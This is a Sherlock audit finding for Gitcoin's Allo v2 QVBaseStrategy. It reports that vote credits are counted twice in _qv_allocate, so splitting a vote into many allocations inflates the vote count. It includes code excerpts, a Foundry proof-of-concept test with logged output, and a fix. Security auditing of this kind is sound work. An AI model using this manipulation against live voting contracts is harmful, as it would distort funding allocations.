sherlock-audit / 2023-09-Gitcoin-judging

11 stars 7 forks source link

pengun - Malicious user can split the vote in QVBaseStrategy to get more votes. #873

Closed sherlock-admin2 closed 11 months ago

sherlock-admin2 commented 12 months ago

pengun

high

Malicious user can split the vote in QVBaseStrategy to get more votes.

Incorrect calculation of voiceCreditsCastToRecipient in _qv_allocate of QVBaseStrategy, resulting in more votes than intended.

Vulnerability Detail

The _qv_allocate is performed as follows.

  1. Gets the current credit spent by the sender on _recipientId and the current vote count for _recipientId.
// get the previous values
uint256 creditsCastToRecipient = _allocator.voiceCreditsCastToRecipient[_recipientId];
uint256 votesCastToRecipient = _allocator.votesCastToRecipient[_recipientId];
  1. Add the credit already used for _recipientId and the credit to be used this time and store it in totalCredits, and sqrt the result in voteResult.
// get the total credits and calculate the vote result
uint256 totalCredits = _voiceCreditsToAllocate + creditsCastToRecipient;
uint256 voteResult = _sqrt(totalCredits * 1e18);
  1. Subtract the amount of votes already cast by the sender from voteResult to get the votes for this credit. Add this to totalRecipientVotes, _recipient.totalVotesReceived
voteResult -= votesCastToRecipient;
totalRecipientVotes += voteResult;
_recipient.totalVotesReceived += voteResult;
  1. Add totalCredits to _allocator.voiceCreditsCastToRecipient and voteResult to _allocator.votesCastToRecipient.
_allocator.voiceCreditsCastToRecipient[_recipientId] += totalCredits;
_allocator.votesCastToRecipient[_recipientId] += voteResult;

The vulnerability exists in #4, where totalCredits is the sum of the previously used credit and the credit to be used, as seen in #2. Since _allocator.voiceCreditsCastToRecipient already stores the value of the previously used credit, the result is that the previously used credit is added twice.

POC:

Normal case:

If user allocated 100 at once

[PASS] test_allocate_manipulate() (gas: 304252)
Logs:
  voiceCreditsCastToRecipient 100
  votesCastToRecipient 10000000000

Test code:

function test_allocate_manipulate() public {
        address recipientId = __register_accept_recipient();
        address allocator = randomAddress();

        vm.startPrank(pool_manager2());
        qvSimpleStrategy().addAllocator(allocator);

        vm.warp(allocationStartTime + 10);
        bytes memory allocateData;

        vm.stopPrank();

        for(uint256 i =0;i<100;i++) {
            allocateData = __generateAllocation(recipientId, i+1);
            vm.prank(address(allo()));
            qvSimpleStrategy().allocate(allocateData, allocator);
        }
    }

Result:

Logs:
  voiceCreditsCastToRecipient 1
  votesCastToRecipient 1000000000
  voiceCreditsCastToRecipient 4
  votesCastToRecipient 1732050807
  voiceCreditsCastToRecipient 11
  votesCastToRecipient 2645751311
  voiceCreditsCastToRecipient 26
  votesCastToRecipient 3872983346
  voiceCreditsCastToRecipient 57
  votesCastToRecipient 5567764362
  voiceCreditsCastToRecipient 120
  votesCastToRecipient 7937253933
  voiceCreditsCastToRecipient 247
  votesCastToRecipient 11269427669
...
  votesCastToRecipient 99516432383215196322247
  voiceCreditsCastToRecipient 39614081257132168796771975072
  votesCastToRecipient 140737488355327999999999
  voiceCreditsCastToRecipient 79228162514264337593543950239
  votesCastToRecipient 199032864766430392644494
  voiceCreditsCastToRecipient 158456325028528675187087900574
  votesCastToRecipient 281474976710655999999999
  voiceCreditsCastToRecipient 316912650057057350374175801245
  votesCastToRecipient 398065729532860785288988
  voiceCreditsCastToRecipient 633825300114114700748351602588
  votesCastToRecipient 562949953421311999999999
  voiceCreditsCastToRecipient 1267650600228229401496703205275
  votesCastToRecipient 796131459065721570577976
  voiceCreditsCastToRecipient 2535301200456458802993406410650
  votesCastToRecipient 1125899906842623999999999

Impact

This can be exploited to manipulate voting by allowing much more votes to be cast for the same amount of credits.

Code Snippet

https://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L529

Tool used

Manual Review

Recommendation

Change like below

_allocator.voiceCreditsCastToRecipient[_recipientId] = totalCredits;

Duplicate of #48